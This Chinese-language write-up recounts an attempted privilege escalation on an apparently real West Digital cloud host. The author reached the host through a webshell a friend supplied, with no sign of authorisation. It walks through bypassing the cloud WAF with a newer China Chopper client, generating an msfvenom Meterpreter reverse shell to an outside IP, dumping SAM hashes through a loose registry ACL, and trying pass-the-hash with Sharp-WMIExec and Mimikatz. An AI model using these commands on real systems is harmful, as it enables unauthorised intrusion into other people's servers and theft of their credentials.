0x01 前言
这个案例仍然是帮一个朋友看的,说是一台西部数码云主机,他在提权过程中遇到了一些无法解决的问题,所以想让我帮着给看下。
发给我的是一个ASP的Webshell,目标磁盘目录的权限将为宽松,而且可以直接执行系统命令,但是限制了大部分命令和提权EXP的执行。
0x02 信息搜集
目标机器基本信息:
系统型号: west_yun(西部数码云主机) 目标系统:Windows 2008 R2 (6.1 Build 7601, Service Pack 1). 当前权限:ebs-33***\xag*** 开放端口:21、80、135、3306、65132(TermService) 进程名称:mysqld.exe、建站助手V4.0.exe
前边我们有说到这台机器限制执行了部分系统命令,进程列表中也没有找到安全防护相关进程,那么就先来看一下限制执行了哪些常用命令,包括但不限于以下这些,而且自己上传的net.exe等系统程序在执行时仍然会提示“拒绝访问”和“发生系统错误 5”。
net.exe、net1.exe、netstat.exe、tasklist.exe、taskkill.exe、sc.exe、reg.exe......
0x03 实战提权过程
西部数码云主机都会有云WAF安全保护,比如我们在使用低版本中国菜刀连接这个ASP的Webshell时就会出现下图拦截提示,只需更换为中国菜刀2016版即可成功绕过。
这里我先用了web_delivery和hta_server两个模块,但是遇到了一点问题,没能成功获取到会话,重新生成了一个普通EXE攻击载荷上传至可读写目录中并执行后即可得到目标机器会话。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=3*.9*.9.2*8 lport=443 -f exe > /tmp/64.exe use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 172.16.9.200 set lport 443 exploit
首先尝试了利用MSF下的getsystem、incognito和常用提权EXP等方式来进行权限提升,然而均以失败告终!D:\SOFT_PHP_PACKAGE\mysql目录也没有读取和写入权限,无法利用MySQL提权,也不能用hashdump和kiwi命令获取目标机器的哈希值和明文密码。
在前期的信息搜集中发现只有利用提权EXP和MySQL数据库进行权限提升的机率会大一些,但是在上边测试了都不行,很多人搞到这里时可能就会选择放弃了吧!不过最后我们还是发现了可以利用MSF下的post/windows/gather/hashdump模块来导出哈希值。
这里可能很多人搞不明白为什么Users权限也能导出哈希值?刚开始我也懵逼,不过在经过研究后发现只要SAM注册表项有Users或Everyone的读取权限即可。SAM默认只有System具备完全控制权限,且管理员一般都不会去做修改,所以猜测这应该是有人在提权后故意留下的后门。
d:\wwwroot\***lzs\wwwroot\> reg query HKLM\SAM\SAM PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List
reg.exe在没有被限制执行时可以直接用于查询SAM注册表项,如果被限制执行时还可以用powershell下的Get-Acl查询SAM注册表项权限,同时还发现了被限制执行命令的原因可能是因为对应的应用程序被管理员或者诸如建站助手等第三方工具给降权了。
PS > Get-Acl -Path c:\windows\system32\net.exe | Format-List PS > Get-Acl -Path c:\windows\system32\cmd.exe | Format-List
虽然利用post/windows/gather/hashdump模块得到了目标机器哈希值,但由于密码过于复杂,无法通过https://www.cmd5.com解密哈希值得到明文密码,因为Windows 2008及以后操作系统的组策略中默认都启用了密码策略的“密码必须符合复杂性要求”选项。
目前情况就是我们只抓取到目标机器的哈希值,但是没有明文密码、破解不了哈希、添加不了用户,也没有其他更好的提权方式了,那么又该如何进一步拿到高权限会话呢?
其实我们还是可以尝试下常用的内网横向渗透方式,使用支持HASH传递的远程命令执行工具来执行系统命令。
注:在本地测试中发现有时虽然成功执行完了Sharp-WMIExec,但是有可能并没有成功执行命令,这时可以尝试使用以下命令重置WMI存储库来解决WMI远程执行命令的问题。
C:\Users\Administrator>winmgmt /resetrepository WMI 存储库已重置
这里不知道为什么不能利用目标机器上的135端口来执行命令,提示:WMI access denied,当“用户或密码错误”时也会出现这种提示。这里我们尝试了几乎所有的HASH都没能成功执行命令,利用Mimikatz本地HASH注入也失败了,提示:不允许空密码登录。
privilege::debug sekurlsa::pth /user:administrator /domain:. /ntlm:547df6e0f6aa5f*********510cdacf "/run:mstsc.exe /restrictedadmin"
最终没能很好的利用抓取到的HASH拿到目标服务器权限,所以这是一次失败的提权案例,但文中思路肯定是可行的,如果各位师傅有更好的思路还请私信告知,谢谢!